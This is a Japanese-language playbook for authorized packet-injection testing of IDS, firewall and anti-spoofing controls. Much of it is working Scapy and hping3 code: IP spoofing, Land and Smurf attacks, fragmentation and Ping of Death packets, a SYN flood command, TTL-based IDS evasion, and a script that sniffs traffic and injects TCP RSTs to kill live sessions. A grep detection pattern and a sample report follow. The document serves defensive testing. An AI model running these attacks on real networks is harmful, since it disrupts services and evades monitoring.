performing-packet-injection-attack

パケットインジェクション攻撃の実施

使用する場面

• 特定の検知シグネチャをトリガーするトラフィックを注入して、IDS/IPS ルールをテストする場合
• 特定のフラグ、送信元アドレス、ペイロードを持つパケットを作成して、ファイアウォールルールを検証する場合
• 不正なパケット、フラグメンテーション攻撃、プロトコル違反に対するネットワークスタックの耐性を評価する場合
• 偽装トラフィックをシミュレーションして、送信元アドレス偽装対策（BCP38、uRPF）をテストする場合
• TCP リセットインジェクションを実施して、接続の耐性やセッションハイジャックのシナリオをテストする場合

本番システムへのサービス拒否攻撃、第三者に罪を着せるためのトラフィック偽装、または対象ネットワークへの明示的な許可がない場合には使用しないでください。

前提条件

• 対象範囲と承認されたパケットインジェクション手法を明記した書面による許可
• テスト用プラットフォームに Scapy、hping3、Nemesis がインストールされていること
• raw ソケットへのアクセスとパケット作成に必要な root/sudo 権限
• パケットの到達を確認するための、対象側の Wireshark または tcpdump
• TCP/IP プロトコルの内部動作、ヘッダーフィールド、フラグの組み合わせに関する知識

ワークフロー

手順 1：Scapy で基本的なテストパケットを作成して送信する

#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""

from scapy.all import *

# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] Port 80 is OPEN (SYN-ACK received)")
    elif response[TCP].flags == "RA":
        print(f"[*] Port 80 is CLOSED (RST-ACK received)")

# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")

# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")

# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")

# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] DNS response received from {response[IP].src}")

手順 2：IP アドレス偽装と送信元アドレス偽装対策の検証

#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""

from scapy.all import *

# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")

# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")

# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")

# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")

手順 3：TCP セッションの操作

# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets

# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window

# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability

#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""

from scapy.all import *

# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,
            dst=pkt[IP].src
        ) / TCP(
            sport=pkt[TCP].dport,
            dport=pkt[TCP].sport,
            seq=pkt[TCP].ack,
            flags="R"
        )
        send(rst, verbose=0)
        print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")

手順 4：プロトコル異常のテスト

#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""

from scapy.all import *

target = "10.10.20.10"

# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")

# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")

# Invalid TCP flag combinations
invalid_flags = [
    ("SYN+FIN", "SF"),
    ("SYN+RST", "SR"),
    ("FIN only (no session)", "F"),
    ("All flags", "FSRPAUEC"),
]

for name, flags in invalid_flags:
    pkt = IP(dst=target) / TCP(dport=80, flags=flags)
    send(pkt, verbose=0)
    print(f"[*] Sent packet with invalid flags: {name}")

# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")

# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")

手順 5：IDS の検知を検証する

# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
  python3 -m json.tool | head -50

# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags

# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop

# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"

手順 6：結果を記録する

# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team

Test 1: TCP XMAS Scan
  IDS Detection: YES (Suricata SID 2100330)
  Firewall Action: Dropped

Test 2: IP Spoofing (192.0.2.100)
  uRPF Block: YES (packet dropped at edge router)
  IDS Detection: YES (source not in HOME_NET)

Test 3: Fragmentation Overlap
  IDS Detection: YES (stream reassembly anomaly)
  Target Response: Fragments dropped by OS

Test 4: Invalid TCP Flags
  IDS Detection: YES (SYN+FIN, SYN+RST flagged)
  Firewall Action: Dropped
EOF

主な概念

用語	定義
パケットインジェクション	特定のヘッダー値、ペイロード、またはフラグの組み合わせを持つネットワークパケットを作成して送信し、ネットワークセキュリティ制御をテストすること
IP アドレス偽装	送信元アドレス偽装対策（BCP38、uRPF）のテストや別のホストへのなりすましを目的として、作成したパケットに偽の送信元 IP アドレスを設定すること
TCP RST インジェクション	確立済みの接続を終了させる偽造 TCP RST パケットを送信し、セッションの耐性や接続リセットに対する防御をテストすること
フラグメンテーション攻撃	IP フラグメンテーションを悪用して悪意のあるペイロードを複数のフラグメントに分割し、フラグメントを再構成しないパケット検査を回避すること
uRPF（ユニキャスト逆方向パス転送）	送信元 IP アドレスへの戻り経路が入力インターフェースを通らない場合にパケットを破棄する、ルーターレベルの送信元アドレス偽装対策
BCP38（ネットワークイングレスフィルタリング）	ネットワークに属さない送信元アドレスを持つパケットをフィルタリングし、ネットワーク境界での IP アドレス偽装を防ぐベストカレントプラクティス

ツールとシステム

• Scapy：すべてのプロトコルヘッダーを完全に制御して、任意のネットワークパケットを作成できる Python のパケット操作ライブラリ
• hping3：フラグ、TTL、ウィンドウサイズ、パケットレートを制御でき、TCP、UDP、ICMP に対応するコマンドラインのパケット生成ツール
• Nemesis：イーサネット、ARP、IP、TCP、UDP、ICMP、DNS などのプロトコルに対応するネットワークパケットインジェクションツール
• tcpreplay：取得済みの PCAP ファイルを制御されたレートで再生し、既知のトラフィックパターンを使って IDS ルールをテストするツール
• Nping：任意の TCP/UDP/ICMP ヘッダーを持つプローブを作成できる Nmap のパケット生成ツール

よくあるシナリオ

シナリオ：デプロイ後の IDS ルールの検証

コンテキスト：SOC チームは、偵察および回避技術を検知するための新しい Suricata ルールをデプロイしました。運用を開始する前に、ルールが正しく発動することを検証する必要があります。テストは、本番ネットワークを再現したステージング環境で実施します。

アプローチ：

1. Scapy を使って XMAS、NULL、FIN スキャンのパケットを作成し、テスト対象に送信してスキャン検知ルールを検証します
2. 無効な TCP フラグの組み合わせ（SYN+FIN、SYN+RST）のパケットを生成し、プロトコル異常ルールをテストします
3. サイズ超過の ICMP パケットと断片化されたペイロードを送信し、フラグメント検知ルールをテストします
4. 送信元 IP を偽装したパケットを注入し、アンチスプーフィングルールが正しく発動することを検証します
5. アクティブな HTTP セッション中に TCP RST 注入パケットを送信し、セッション妨害検知をテストします
6. 期待される Suricata アラートが、重大度とメタデータとともに EVE JSON ログにすべて記録されることを確認します
7. 発動したルールと発動しなかったルールを記録し、検知漏れに対するルール調整を提案します

落とし穴：

• 注入パケットを送信するペースが速すぎて、テストネットワークや IDS センサーに過剰な負荷をかけてしまう
• チェックサムの計算を誤ってパケットを作成し、IDS に到達する前に暗黙のうちに破棄されてしまう
• ステートフルファイアウォールが、IDS の検査に届く前にステートに合わないパケットを破棄することを考慮していない
• NAT の背後からテストすることで送信元ポートが変更され、作成した TCP シーケンスが機能しなくなる

出力形式

## Packet Injection Test Report

**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15

### Test Matrix

| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |

### Detection Rate: 6/8 (75%)

### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST